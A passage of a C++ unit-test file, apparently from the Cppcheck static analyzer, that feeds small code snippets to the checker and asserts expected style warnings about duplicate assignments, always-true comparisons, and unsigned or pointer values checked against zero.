errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n 